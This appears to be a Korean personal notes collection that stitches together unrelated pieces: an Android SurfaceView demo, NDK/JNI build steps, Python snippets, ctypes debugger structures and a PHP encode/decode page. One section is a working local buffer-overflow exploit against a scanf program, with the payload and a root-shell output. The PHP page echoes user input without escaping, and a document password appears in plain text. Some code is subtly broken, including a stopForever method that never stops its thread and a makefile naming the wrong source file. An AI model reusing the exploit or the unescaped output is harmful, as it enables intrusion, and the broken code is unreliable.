2012~Lee sang sup`s Note

[출처 : http://golee07.tistory.com/entry/Android-SurfaceView-%EC%9C%84%EC%97%90-Canvas-%EA%B7%B8%EB%A6%AC%EA%B8%B0 ] 

SurfaceView에서 작동하는 Camera Preview위에 어떠한 그림을 그리기 위해서는 OnDraw를 오버라이드하는 방법이 아니라 아래와 같이 그려주는 View를 Activity에 추가시켜 줘야합니다. 아래와 같이 addContentView를 호출해주시면 됩니다.


COPY TO CLIPBOARD | DOWNLOAD | RAW | EMBED | REPORT ABUSE

[출처 : http://blog.naver.com/khs7515?Redirect=Log&logNo=20156449363 ] 

-----------------------------------------------------------------------------------------------------

이분 블로그를 앞으로 많이 이용할듯하다. 은근히 섬세한 설명에 이유까지 잘설명됨 

--------------------------------------------------------------------------------------------------

# SurfaceView는 View보다 구조상 복잡하긴 하지만 성능이 더 좋기 때문에 게임, 또는 렌즈에 비치는 모습을 휴대폰 화면에

   빠르게 보여주기 위해서 사용된다.

# 예를 들어 설명하자면 100개의 물건을 옮기는데 View는 1개씩 옮겨다 놓지만 SurfaceView는 100개를 실어서 한번에 옮기는 형태랄까

# 화면이 갱신되는 동안 모든 객체의 정보를 담아두었다가 보여주는 것을 반복한다.

# 다음 예제는 임의로 움직이는 공을 무한하게 만들어서 SurfaceView가 어느 정도까지 버틸 수 있는가를 실험해보는 것이다.

# 모토로이 기준 1,500개정도가 되면 속도가 현저히 늦어지는 것을 볼 수 있었다.

******************************************** MainActivity.java *************************************************

package test.surfaceview.test2;

import android.app.Activity;

import android.os.Bundle;

public class MainActivity extends Activity {

    /** Called when the activity is first created. */

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(new GameView(this));

    }

}

******************************************** GameView.java *************************************************

package test.surfaceview.test2;

import android.content.Context;

import android.util.Log;

import android.view.SurfaceHolder;

import android.view.SurfaceView;

/*

 * [[ 빠른 그래픽 처리를 위한 SurfaceView 사용하기 ]]

 * 1. surfaceview 클래스를 상속받는다.

 * 2. surfaceHolder.callback인터페이스를 구현한다.

 * 3. 인터페이스의 추상메소드를 오버라이딩 한다.

 * 4. 백그라운드에서 작업할 스레드를 만들어서 SurfaceHolder 객체를 넘겨준다.

 * 5. 스레드에서는 surfaceholder 객체를 이용해서 그래픽 작업한다.

 * 6. 

 */

//생성자 1개짜리는 View만 쓸때. 2개짜리는 다른것도 쓸때

public class GameView extends SurfaceView implements SurfaceHolder.Callback{

Context context;

SurfaceHolder sHolder;

GameThread gameThread;

int width, height; //surfaceView가 차지하고 있는 실제 공간의 크기

public GameView(Context context) {

super(context);

this.context = context;

init(); //초기화

}

//초기화하는 메소드

public void init(){

//SurfaceHolder객체 얻어오기

sHolder = getHolder(); //surface가 holder를 가지고 있기 때문에 그냥 getholder하면 된다.

//콜백 객체 등록

sHolder.addCallback(this);

//스레드 객체 생성

gameThread = new GameThread(context, sHolder);

}

//뷰화면의 크기가 변화가 생겼을 때 호출되는 메소드(화면의 폭과 높이 정보가 인자로 들어온다.)

public void surfaceChanged(SurfaceHolder holder, int format, int width,

int height) {

Log.e("*********", "surfaceChanged()");

this.width = width;

this.height = height;

gameThread.setScreenSize(width, height);

Log.e("*********", "width:"+width+" / height:"+height);

}

//뷰가 처음 만들어 질 때 호출되는 메소드

public void surfaceCreated(SurfaceHolder holder) {

Log.e("*********", "surfaceCreated()");

try {

//스레드를 시작시킨다.

gameThread.start();

} catch (Exception e) {

Log.e("********", "스레드 시작 시 에러 발생! 스레드를 다시 생성");

//에러 발생하면 재시작하기

restartThread();

}

}

//뷰가 파괴될 때 호출되는 메소드

public void surfaceDestroyed(SurfaceHolder holder) {

Log.e("*********", "surfaceDestroyed()");

//에러 없이 스레드를 안전하게 종료하기 위해

boolean tryJoin = true;

gameThread.stopForever(); //종료시 에러를 잡기 위한 핵심!

while(tryJoin){//join이 성공할때까지

try{

gameThread.join();

tryJoin=false;

}catch (Exception e) {

}

}

}

//스레드를 재시작하는 메소드

public void restartThread(){

//스레드 정지

gameThread.stopForever();

//스레드 비우고

gameThread = null;

//객체 다시 생성

gameThread = new GameThread(context, sHolder);

//화면의 폭과 높이 전달

gameThread.setScreenSize(width, height);

//스레드 시작

gameThread.start();

}

//스레드 일시정지하는 메소드

public void pauseThread(){

gameThread.pauseNResume(true);

}//일시 정지된 스레드를 재시작하는 메소드

public void resumeThread(){

gameThread.pauseNResume(false);

}

}

******************************************** GameThread.java *************************************************

package test.surfaceview.test2;

import java.util.ArrayList;

import java.util.Random;

import android.content.Context;

import android.graphics.Canvas;

import android.graphics.Color;

import android.graphics.Paint;

import android.graphics.Paint.Style;

import android.util.Log;

import android.view.SurfaceHolder;

public class GameThread extends Thread{

Context context;

SurfaceHolder sHolder; //핵심개체이며 화면의 구성에 대한 정보를 모두 가지고 있다.

boolean isRun = true;

boolean isWait = false;

Canvas canvas; //화면에 무언가를 그리기 위한 캔바스 객체(sHolder가 가지고 있다)

int width, height;

//랜덤한 수를 발생시키기 위해

Random ran = new Random();

//색을 저장할 배열

Paint[] paint = new Paint[5];

//원 객체를 저장할 배열

ArrayList<Circle> list = new ArrayList<Circle>();

//생성자

public GameThread(Context context, SurfaceHolder sHolder){

this.context = context;

this.sHolder = sHolder;

//원을 그릴 색 만들어서 배열에 저장하기

initPaint();

}

//화면의 폭과 높이를 전달바든ㄴ다

public void setScreenSize(int width, int height){

this.width = width;

this.height = height;

Log.e("*********", "width:"+width+" / height:"+height);

}

//빠르게 돌아가는 스레드에서 메소드를 실행하거나 멤버필드가 교환되는 작업을 하면 

//스레드 작업이 깨질수있기 때문에 동기화가 필요하다.

//스레드의 일시정지 혹은 재시작 하는 메소드

public void pauseNResume(boolean isWait){

synchronized (this) {

this.isWait = isWait;

notify();

}

}

//스레드 완전 정지하는 메소드

public void stopForever(){

synchronized (this) {

this.isRun = isRun;

notify();

}

}

//스레드 본체인 run메소드에서 그리는 작업을 해준다.

@Override

public void run() {

while(isRun){ //isRun의 초기 값이 true 이므로 기본적으로 무한 루프이다.

//Canvas객체 얻어오기

canvas = sHolder.lockCanvas();//화면정보를 다 담을때까지 화면을 잠궈놓는다.

//화면에 그리는 작업을 한다.

try{

//동기화 블럭에서 작업을 해야한다.

  synchronized (sHolder) { //그리기위한 모든 작업을 하는 곳

  //canvas 객체를 이용해서 반복적인 그리기 작업을 한다.

  canvas.drawColor(Color.WHITE);

  //반복문을 돌면서 원을 그린다

  for(int i=0 ; i < list.size() ; i++){

  //해당 인덱스의 원객체를 얻어온다.

  Circle cir = list.get(i);

  canvas.drawCircle(cir.x, cir.y, //원의 위치

  5,  //반지름

  paint[cir.color]); //원의 색

  }

  canvas.drawText("공의수:"+list.size(), 0, 20, paint[0]);

  //원 만들기(10번 돌때 한번의 확률로 원을 만들기 위해)

  //if(ran.nextInt(5)==0)

  makeCircle();

  //원 움직이기

  moveCircle();

}

}finally{

if(canvas!=null)//실제로 화면을 그리는 곳(while을 돌면서 화면을 덧그리기 때문에 invalidate가 필요하지 않다)

//잠근 화면을 풀고 작업한canvas 객체를 전달해서 화면을 그린다.

sHolder.unlockCanvasAndPost(canvas);

}

//스레드를 일시 정지 하기 위해 

if(isWait){ //isWait의 초기값은 false 이다

try {

synchronized (this) {

wait(); //notify할때까지 기다린다.(일시정지)

}

} catch (Exception e) {}

}//if

}//while

}//run

//페인트 객체를 생성해서 배열에 담는 메소드

public void initPaint(){

//paint 객체 생성해서 배열에 담기

Paint p1 = new Paint();

p1.setColor(Color.DKGRAY);

p1.setStyle(Style.FILL); // 원을 채우도록 

Paint p2 = new Paint();

p2.setColor(Color.RED);

p2.setStyle(Style.FILL); // 원을 채우도록

Paint p3 = new Paint();

p3.setColor(Color.GREEN);

p3.setStyle(Style.FILL); // 원을 채우도록

Paint p4 = new Paint();

p4.setColor(Color.BLUE);

p4.setStyle(Style.FILL); // 원을 채우도록

Paint p5 = new Paint();

p5.setColor(Color.YELLOW);

p5.setStyle(Style.FILL); // 원을 채우도록

//배열에 담는다.

paint[0]=p1;

paint[1]=p2;

paint[2]=p3;

paint[3]=p4;

paint[4]=p5;

}

//circle 객체를 만드는 메소드

public void makeCircle(){

//원의 위치

int x = ran.nextInt(width); //화면의 폭 안의 랜덤한 x지점

int y = ran.nextInt(height); //화면의 높이 안의 랜덤한 y지점

//원의 초기 속도

int speedX = ran.nextInt(10)-5;

int speedY = ran.nextInt(10)-5;

//원의 색

int color = ran.nextInt(5);

//Circle 객체를 생성해서 배열에 담는다

Circle cir = new Circle(x, y, color, speedX, speedY);

list.add(cir);

}

//circle객체를 움직이는 메소드

public void moveCircle(){

//반복문 돌면서 원 객체 움직이기

for(Circle cir : list){

cir.x += cir.speedX;

cir.y += cir.speedY;

//화면을 벗어나지 못하도록 처리

if(cir.x <= 0 || cir.x >= width){

//속도의 부호를 바꾸어서 반대방향으로 움직인다.

cir.speedX *= -1;

//바뀐 속도로 한번 움직여 준다.

cir.x += cir.speedX;

}

if(cir.y <= 0 || cir.y >= height){

//속도의 부호를 바꾸어서 반대방향으로 움직인다.

cir.speedY *= -1;

//바뀐 속도로 한번 움직여 준다.

cir.y += cir.speedY;

}

}

}

}

******************************************** Circle.java *************************************************

package test.surfaceview.test2;

public class Circle {

int x, y;

int color;

int speedX, speedY; //속도

public Circle(int x, int y, int color, int speedX, int speedY) {

super();

this.x = x;

this.y = y;

this.color = color;

this.speedX = speedX;

this.speedY = speedY;

}

}

[ 차  례 ]

0. JDK, Android SDK, 이클립스 다운로드 및 설치

(다른 페이지 참조)

1. Android NDK 다운로드 및 설치

(http://developer.android.com/tools/sdk/ndk/index.html)

2. 시그윈(cygwin) 다운로드 및 설치 

(http://www.cygwin.com/)

devel 전부 체크하고 설치가 맘편하다. (edit의 vim 포함)

3. C/C++ 라이브러리 함수를 호출하는 안드로이드(JAVA) 프로젝트

사전 작업 

cygwin 안에 NDK 폴더에서  이클립스에서 New andorid project를 만든다.

그리고 한번 실행해준다.

$pwd

 /home/k1rha/android-ndk-r8/

$cd smash //내가 만든 프로젝트 

$ NdkMethod.java // 자바파일 생성

(클래스 명명 규칙에 어긋나는 JNI-function 라는 이름같은 것도 오류를 뱉어 낸다. )

------------------------------------------------------------------------

public class NdkMethod {

     static{

          System.loadLibrary("NdkMethodLibrary");

     }

     public native int NDKTest(int a, int b);

}

-------------------------------------------------------------------------

$pwd

$/home/k1rha/android-ndk-r8/PROJECT/smash/bin/classes/

(반드시 classess 에서 명령어를 쳐준다 이유는 헤더를 만들때는 폴더를 들어가는게 아니라 패키지명을 .으로 입력해줘야 하기 때문이다.)

$javah edge.smash.NdkMethod //여기서는 폴더가 .으로 패키지를 이어준다.

아래와 같은 파일이 만들어져 있다.

---------------------------edge_smash_NdkMethod.h--------------------------------------

/* DO NOT EDIT THIS FILE - it is machine generated */

#include <jni.h>

/* Header for class edge_smash_NdkMethod */

#ifndef _Included_edge_smash_NdkMethod

#define _Included_edge_smash_NdkMethod

#ifdef __cplusplus

extern "C" {

#endif

/*

 * Class:     edge_smash_NdkMethod

 * Method:    NDKTest

 * Signature: (II)I

 */

JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest

  (JNIEnv *, jobject, jint, jint);

#ifdef __cplusplus

}

#endif

#endif

--------------------------------------------------------------------------------

우리는 여기서 JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest
  (JNIEnv *, jobject, jint, jint); 를 사용할수 있다.

4. JNI C/C++ 라이브러리 만들기

-------------------------------- edge_smash_NdkMethod.c ---------------------------------------

#include "edge_smash_NdkMethod.h"

JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest(JNIEnv * pEnv, jobject object, jint a, jint b){

             return a+b;

}

---------------------------------------------------------------------------------

4.3 시그윈에서 *.so 로 빌드하기

이두개의 파일을 프로젝트 jni 폴더를 만든뒤 집어넣는다.

$pwd 

/home/k1rha/android-nkd-r8/PROJECT/smash

$mkdir jni

$ls

edge_smash_NdkMethod.c edge_smash_NdkMethod.h 

여기서 파일 Android.mk 파일을 작성해서 넣어준다

------------------------------ Android.mk --------------------------------------------

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE  := NdkMethodLibrary

LOCAL_SRC_FILES := edge_smash_NdkMethod.cpp

include $(BUILD_SHARED_LIBRARY)

--------------------------------------------------------------------------------------

생성되는 모듈이름

LOCAL_MODULE  := tjssm_ndktest_NdkMethod

소스파일 이름

LOCAL_SRC_FILES := tjssm_ndktest_NdkMethod.cpp

$ls

edge_smash_NdkMethod.c edge_smash_NdkMethod.h  Android.mk

$pwd 

/home/k1rha/android-nkd-r8/PROJECT/smash

$ndk-build

위와같이 하고나면 libs 에 so 파일이 생긴다. 

5. 라이브러리와 안드로이드 프로젝트 합치고 실행하기

1.System.loadLibrary("JNItest"); 를 사용하여 so 파일을 로딩한다.

이때 생성된 so 파일에는 제일 앞에 lib가 붙지만 loadLibrary()에 적어줄대는 lib를 빼고 넣어야한다.

그냥 생성된 .h 파일의 이름과 동일하게 넣으면 된다.

위의 순서대로 진행하면된다. 

Scanf 환경에서의 아주아주 simple한 오버플로우 테스트.

환경 

FEDORA 3

[root@Fedora_1stFloor test]# cat system.c

#include<stdio.h>

int main(){

system("/bin/sh");

return 0;

}

[root@Fedora_1stFloor test]# 

필요한 주소값들 조사.

오버플로우 발생 확인 RET주소 덮여쓰여지는 것 확인 

공격 PAYLOAD 

[buffer 120byte ] [sfp = 4byte] [ret = 4byte] [argc ][argv]

AAAAA.....AAA   AAAA             &ret -> &ret -> &ret -> &ret  &system

                                             (정적인 주소까지 eip를 올린다)   

[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' )| strace -i  ./scanf

[007037a2] clone(sh: AAAA: command not found

child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfee68ee0) = 13255

[007037a2] waitpid(13255, [{WIFEXITED(s) && WEXITSTATUS(s) == 127}], 0) = 13255

[007037a2] rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0

[007037a2] rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0

[root@Fedora_1stFloor test]#

[root@Fedora_1stFloor test]# ln -s system AAAA 

[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' ;cat)|  ./scanf

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)

다들 scanf 쓰실때 버퍼 오버 플로우 조심하쎄요~ 

http://www.exploit-db.com/exploits/19520/

Free BSD 환경에서만 적용 

try:
    request = urllib2.Request( url=self.uri+url, headers=self.headers )
    r = urllib2.urlopen(request)
    xml = r.read()
    return parseString( xml )
except urllib2.HTTPError as err:
    logger.debug("EXCEPTION: %s" % err.read() )

파이썬에서 try catch 는 위와같이 써준다. 

 문서 암호 : 9V8~hbe[Z2

android_JNI-NDK_APv1.0.pdf

공부의 흐름?

최신 흐름 방향?

è  가전 제품!

안드로이드 system architecture

인스턴스화 할 수 있는 4개의 컨포넌트 (쉽게 복사할수 있는 매개체)

:액티비티, 서비스. 방송수신자, 콘텐츠 제공자

리눅스 커널과는 달리 안드로이드 커널에 추가된 부분

Android : HAL

안드로이드가 새롭게 만든 서비스 계층

Hardware Abstraction Library -> 커널 디바이스 드라이버 

Android Libraries

è  JNI

Surfaceflinger/Audioflinger

What is frame buffer? -> 디바이스 드라이버

Kernel

디바이스가 부팅 될 때는 reset exception 이 발생하고 이는 처음 부팅할 때 0x0000000 을 로드하고, 그 안에는 시작할 번지수가 들어가 있다.

 그 시작 할 번지는 스택을 만드는데, 이는 C언어의 함수들은 스택 구성으로 이뤄지기 때문이다.

Binder

 IPC(inter processing coumnunication)의 프로세싱 오버헤드와 보안 헛점을 해결하기 위해 채택

Android 의 init의 특징

Android 의 초기 실행 과정

System mount 및 Log system 초기화 ->

Handler 란?          

Init.rc 파일 parsing

QEMU_init()

임베디드 환경에서 커널 컴파일 할때의 명령어?

Action_list의 init 영역을 action_list에 파싱하여 저장

파일 포인터와 파일 디스크립터 차이점

Zygote(수정란)

Zygote를 통한 프로세스 관리(fork 의 아류작!)

Ramdisk.img

NDK(Android native Development eit) 를 이용한 개발

위와 같은 코드 식으로 전개 된다.

C/C++ 로 작업하면 이가 shared object(SO) 파일로 자바단에서 불러진다. 그리고 함수 호출하듯 호출된다.

파이썬 공부도중 httplib 를 활용하는 예제가 나와서 http://webhacking.kr 4번 문제가 

GET방식 brute forcing 공격에 관련된 문제였었다.

위와같이 input box 에 id 와 pw를 입력하면 암호는 숫자이며 2000~3000사이의 숫자라는 것을 알려준다.

익스플로잇 코드는 아래와 같다.

결과 화면 

리스트에 문자열을 파일에 저장하고 싶은데, 사이사이에 개행이 필요할때,  사용하는 경우가 있었다.

리스트 결과값 사이 사이에 넣을때 쓰면 유용하다

C 언어에서 인자값을 받을때 옵션으로 받는 방법을 사용하곤 했었는데 역시나 파이썬도 인자값 처리를 C언어 현태로 따라가는 것같다. 

아래와 같이 getopt 를 설정 여 사용 할 수 있다.

=================================================================

import sys

import getopt

options, args = getopt.getopt(sys.argv[1:],'a:b:c')

for op, p in options:

if op == '-a':

print "option a",p

elif op == '-b':

print "option b",p

elif op == '-c':

print "option c",p

else:

print "unkwon option",op

print args

enumerate 는 for문을 좀더 효율적으로 사용하기 위한 파이썬 함수이다.

enumerate 를 하면 인덱스 값과 그 value 값을 동시에 저장 할 수 있다.

예를들어 

결과 : 

이를 활용하여 python 열혈강의 책에는 다음과 같은 과제를 주워준다.

13. Linux의 사용자 정보에서 이름만 출력하기.

[출처 : 파이썬 해킹 프로그래밍 ] 

------------------------------------my_debugger_defines.py----------------------------------

from ctypes import *

# Let's map the Microsoft types to ctypes for clarity

BYTE      = c_ubyte

WORD      = c_ushort

DWORD     = c_ulong

LPBYTE    = POINTER(c_ubyte)

LPTSTR    = POINTER(c_char) 

HANDLE    = c_void_p

PVOID     = c_void_p

LPVOID    = c_void_p

UINT_PTR  = c_ulong

SIZE_T    = c_ulong

# Constants

DEBUG_PROCESS         = 0x00000001

CREATE_NEW_CONSOLE    = 0x00000010

PROCESS_ALL_ACCESS    = 0x001F0FFF

INFINITE              = 0xFFFFFFFF

DBG_CONTINUE          = 0x00010002

# Debug event constants

EXCEPTION_DEBUG_EVENT      =    0x1

CREATE_THREAD_DEBUG_EVENT  =    0x2

CREATE_PROCESS_DEBUG_EVENT =    0x3

EXIT_THREAD_DEBUG_EVENT    =    0x4

EXIT_PROCESS_DEBUG_EVENT   =    0x5

LOAD_DLL_DEBUG_EVENT       =    0x6

UNLOAD_DLL_DEBUG_EVENT     =    0x7

OUTPUT_DEBUG_STRING_EVENT  =    0x8

RIP_EVENT                  =    0x9

# debug exception codes.

EXCEPTION_ACCESS_VIOLATION     = 0xC0000005

EXCEPTION_BREAKPOINT           = 0x80000003

EXCEPTION_GUARD_PAGE           = 0x80000001

EXCEPTION_SINGLE_STEP          = 0x80000004

# Thread constants for CreateToolhelp32Snapshot()

TH32CS_SNAPHEAPLIST = 0x00000001

TH32CS_SNAPPROCESS  = 0x00000002

TH32CS_SNAPTHREAD   = 0x00000004

TH32CS_SNAPMODULE   = 0x00000008

TH32CS_INHERIT      = 0x80000000

TH32CS_SNAPALL      = (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)

THREAD_ALL_ACCESS   = 0x001F03FF

# Context flags for GetThreadContext()

CONTEXT_FULL                   = 0x00010007

CONTEXT_DEBUG_REGISTERS        = 0x00010010

# Memory permissions

PAGE_EXECUTE_READWRITE         = 0x00000040

# Hardware breakpoint conditions

HW_ACCESS                      = 0x00000003

HW_EXECUTE                     = 0x00000000

HW_WRITE                       = 0x00000001

# Memory page permissions, used by VirtualProtect()

PAGE_NOACCESS                  = 0x00000001

PAGE_READONLY                  = 0x00000002

PAGE_READWRITE                 = 0x00000004

PAGE_WRITECOPY                 = 0x00000008

PAGE_EXECUTE                   = 0x00000010

PAGE_EXECUTE_READ              = 0x00000020

PAGE_EXECUTE_READWRITE         = 0x00000040

PAGE_EXECUTE_WRITECOPY         = 0x00000080

PAGE_GUARD                     = 0x00000100

PAGE_NOCACHE                   = 0x00000200

PAGE_WRITECOMBINE              = 0x00000400

# Structures for CreateProcessA() function

# STARTUPINFO describes how to spawn the process

class STARTUPINFO(Structure):

    _fields_ = [

        ("cb",            DWORD),        

        ("lpReserved",    LPTSTR), 

        ("lpDesktop",     LPTSTR),  

        ("lpTitle",       LPTSTR),

        ("dwX",           DWORD),

        ("dwY",           DWORD),

        ("dwXSize",       DWORD),

        ("dwYSize",       DWORD),

        ("dwXCountChars", DWORD),

        ("dwYCountChars", DWORD),

        ("dwFillAttribute",DWORD),

        ("dwFlags",       DWORD),

        ("wShowWindow",   WORD),

        ("cbReserved2",   WORD),

        ("lpReserved2",   LPBYTE),

        ("hStdInput",     HANDLE),

        ("hStdOutput",    HANDLE),

        ("hStdError",     HANDLE),

        ]

# PROCESS_INFORMATION receives its information

# after the target process has been successfully

# started.

class PROCESS_INFORMATION(Structure):

    _fields_ = [

        ("hProcess",    HANDLE),

        ("hThread",     HANDLE),

        ("dwProcessId", DWORD),

        ("dwThreadId",  DWORD),

        ]

# When the dwDebugEventCode is evaluated

class EXCEPTION_RECORD(Structure):

    pass

EXCEPTION_RECORD._fields_ = [

        ("ExceptionCode",        DWORD),

        ("ExceptionFlags",       DWORD),

        ("ExceptionRecord",      POINTER(EXCEPTION_RECORD)),

        ("ExceptionAddress",     PVOID),

        ("NumberParameters",     DWORD),

        ("ExceptionInformation", UINT_PTR * 15),

        ]

class _EXCEPTION_RECORD(Structure):

    _fields_ = [

        ("ExceptionCode",        DWORD),

        ("ExceptionFlags",       DWORD),

        ("ExceptionRecord",      POINTER(EXCEPTION_RECORD)),

        ("ExceptionAddress",     PVOID),

        ("NumberParameters",     DWORD),

        ("ExceptionInformation", UINT_PTR * 15),

        ]

# Exceptions

class EXCEPTION_DEBUG_INFO(Structure):

    _fields_ = [

        ("ExceptionRecord",    EXCEPTION_RECORD),

        ("dwFirstChance",      DWORD),

        ]

# it populates this union appropriately

class DEBUG_EVENT_UNION(Union):

    _fields_ = [

        ("Exception",         EXCEPTION_DEBUG_INFO),

#        ("CreateThread",      CREATE_THREAD_DEBUG_INFO),

#        ("CreateProcessInfo", CREATE_PROCESS_DEBUG_INFO),

#        ("ExitThread",        EXIT_THREAD_DEBUG_INFO),

#        ("ExitProcess",       EXIT_PROCESS_DEBUG_INFO),

#        ("LoadDll",           LOAD_DLL_DEBUG_INFO),

#        ("UnloadDll",         UNLOAD_DLL_DEBUG_INFO),

#        ("DebugString",       OUTPUT_DEBUG_STRING_INFO),

#        ("RipInfo",           RIP_INFO),

        ]   

# DEBUG_EVENT describes a debugging event

# that the debugger has trapped

class DEBUG_EVENT(Structure):

    _fields_ = [

        ("dwDebugEventCode", DWORD),

        ("dwProcessId",      DWORD),

        ("dwThreadId",       DWORD),

        ("u",                DEBUG_EVENT_UNION),

        ]

# Used by the CONTEXT structure

class FLOATING_SAVE_AREA(Structure):

   _fields_ = [

        ("ControlWord", DWORD),

        ("StatusWord", DWORD),

        ("TagWord", DWORD),

        ("ErrorOffset", DWORD),

        ("ErrorSelector", DWORD),

        ("DataOffset", DWORD),

        ("DataSelector", DWORD),

        ("RegisterArea", BYTE * 80),

        ("Cr0NpxState", DWORD),

]

# The CONTEXT structure which holds all of the 

# register values after a GetThreadContext() call

class CONTEXT(Structure):

    _fields_ = [

        ("ContextFlags", DWORD),

        ("Dr0", DWORD),

        ("Dr1", DWORD),

        ("Dr2", DWORD),

        ("Dr3", DWORD),

        ("Dr6", DWORD),

        ("Dr7", DWORD),

        ("FloatSave", FLOATING_SAVE_AREA),

        ("SegGs", DWORD),

        ("SegFs", DWORD),

        ("SegEs", DWORD),

        ("SegDs", DWORD),

        ("Edi", DWORD),

        ("Esi", DWORD),

        ("Ebx", DWORD),

        ("Edx", DWORD),

        ("Ecx", DWORD),

        ("Eax", DWORD),

        ("Ebp", DWORD),

        ("Eip", DWORD),

        ("SegCs", DWORD),

        ("EFlags", DWORD),

        ("Esp", DWORD),

        ("SegSs", DWORD),

        ("ExtendedRegisters", BYTE * 512),

]

# THREADENTRY32 contains information about a thread

# we use this for enumerating all of the system threads

class THREADENTRY32(Structure):

    _fields_ = [

        ("dwSize",             DWORD),

        ("cntUsage",           DWORD),

        ("th32ThreadID",       DWORD),

        ("th32OwnerProcessID", DWORD),

        ("tpBasePri",          DWORD),

        ("tpDeltaPri",         DWORD),

        ("dwFlags",            DWORD),

    ]

# Supporting struct for the SYSTEM_INFO_UNION union

class PROC_STRUCT(Structure):

    _fields_ = [

        ("wProcessorArchitecture",    WORD),

        ("wReserved",                 WORD),

]

# Supporting union for the SYSTEM_INFO struct

class SYSTEM_INFO_UNION(Union):

    _fields_ = [

        ("dwOemId",    DWORD),

        ("sProcStruc", PROC_STRUCT),

]

# SYSTEM_INFO structure is populated when a call to 

# kernel32.GetSystemInfo() is made. We use the dwPageSize

# member for size calculations when setting memory breakpoints

class SYSTEM_INFO(Structure):

    _fields_ = [

        ("uSysInfo", SYSTEM_INFO_UNION),

        ("dwPageSize", DWORD),

        ("lpMinimumApplicationAddress", LPVOID),

        ("lpMaximumApplicationAddress", LPVOID),

        ("dwActiveProcessorMask", DWORD),

        ("dwNumberOfProcessors", DWORD),

        ("dwProcessorType", DWORD),

        ("dwAllocationGranularity", DWORD),

        ("wProcessorLevel", WORD),

        ("wProcessorRevision", WORD),

]

# MEMORY_BASIC_INFORMATION contains information about a 

# particular region of memory. A call to kernel32.VirtualQuery()

# populates this structure.

class MEMORY_BASIC_INFORMATION(Structure):

    _fields_ = [

        ("BaseAddress", PVOID),

        ("AllocationBase", PVOID),

        ("AllocationProtect", DWORD),

        ("RegionSize", SIZE_T),

        ("State", DWORD),

        ("Protect", DWORD),

        ("Type", DWORD),

]

----------------------------------------------------------------------------------------------

//정은이(Scar) 가 쓴 인코딩 디코딩 페이지 php 소스.

<?php 

//error_reporting(E_ALL); 
//ini_set('display_errors','1'); 

if ($_POST['value']){ 
    $value=$_POST['value']; 
    $select=$_POST['select']; 
} 
else{ 
    $value=''; 
    $select=''; 
} 

switch ($select){ 
    case 'URL encode': 
        $result=urlencode($value); 
        break; 
    case 'BASE64 encode': 
        $result=base64_encode($value); 
        break; 
    case 'URL decode': 
        $result=urldecode($value); 
        break; 
    case 'BASE64 decode': 
        $result=base64_decode($value); 
        break; 
    case 'MD5 hash': 
        $result=md5($value); 
        break; 
    case 'SHA1 hash': 
        $result=sha1($value); 
        break; 
    default: 
        $array=1; 
        $size=1; 
        $div[0]=$value; 
        if (strstr($value,' ')){ 
            $div=explode(' ',$value); 
            $size=count($div); 
        } 
        switch ($select){ 
            case 'Hex to Dec': 
                for ($i=0;$i<$size;$i++){ 
                    $result[$i]=' '.hexdec($div[$i]); 
                } 
                break; 
            case 'Hex to Ascii': 
                for ($i=0;$i<$size;$i++){ 
                    $result[$i]=chr(hexdec($div[$i])); 
                } 
                break; 
            case 'Dec to Hex': 
                for ($i=0;$i<$size;$i++){ 
                    $result[$i]=' '.dechex($div[$i]); 
//                    if($result[$i]==7fffffff) 
                } 
                $result[0]=dechex($div[0]); 
                break; 
            case 'Dec to Ascii': 
                for ($i=0;$i<$size;$i++){ 
                    $result[$i]=chr($div[$i]); 
                } 
                break; 
            case 'Ascii to Hex': 
                $size=strlen($value); 
                for ($i=0;$i<$size;$i++){ 
                    $result[$i]=' '.dechex(ord($value[$i])); 
                } 
                break; 
            case 'Ascii to Dec': 
                $size=strlen($value); 
                for ($i=0;$i<$size;$i++){ 
                    $result[$i]=' '.ord($value[$i]); 
                } 
                break; 
            default: 
                $result=''; 
        } 
} 

?> 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<HTML> 
    <HEAD> 
        <TITLE> encode/decode </TITLE> 
        <link type='text/css' rel='stylesheet' href='../style.css'> 
    </HEAD> 
    <BODY> 
        <form action='index.php' method='POST'> 
            <div class='crypto_input'> 
                <textarea class='crypto_input' name='value'><? 
                if ($array==1){ 
                    $result[0]=trim($result[0]); 
                    for ($i=0;$i<count($result);$i++){ 
                        echo ($result[$i]); 
                    } 
                } 
                else{ 
                    echo ($result); 
                } 
                ?></textarea> 
                dec, hex는 공백 기호로 분리됩니다. 
            </div> 
            <br><br> 
            <div class='crypto_menu'> 
                <div class='crypto_content_box encode'> 
                    <input class='button' type='submit' name='select' value='URL encode'><br> 
                    <input class='button' type='submit' name='select' value='BASE64 encode'><br> 
                </div> 
                <div class='crypto_content_box decode'> 
                    <input class='button' type='submit' name='select' value='URL decode'><br> 
                    <input class='button' type='submit' name='select' value='BASE64 decode'><br> 
                </div> 
                <div class='crypto_content_box hash'> 
                    <input class='button' type='submit' name='select' value='MD5 hash'><br> 
                    <input class='button' type='submit' name='select' value='SHA1 hash'> 
                </div> 
                <div class='crypto_content_box hex'> 
                    <input class='button' type='submit' name='select' value='Hex to Dec'><br> 
                    <input class='button' type='submit' name='select' value='Hex to Ascii'> 
                </div> 
                <div class='crypto_content_box dec'> 
                    <input class='button' type='submit' name='select' value='Dec to Hex'><br> 
                    <input class='button' type='submit' name='select' value='Dec to Ascii'> 
                </div> 
                <div class='crypto_content_box ascii'> 
                    <input class='button' type='submit' name='select' value='Ascii to Hex'><br> 
                    <input class='button' type='submit' name='select' value='Ascii to Dec'> 
                </div> 
            </div> 
        </form> 
    </BODY> 
</HTML> 

[출처 ] http://hyogeun.tistory.com/35

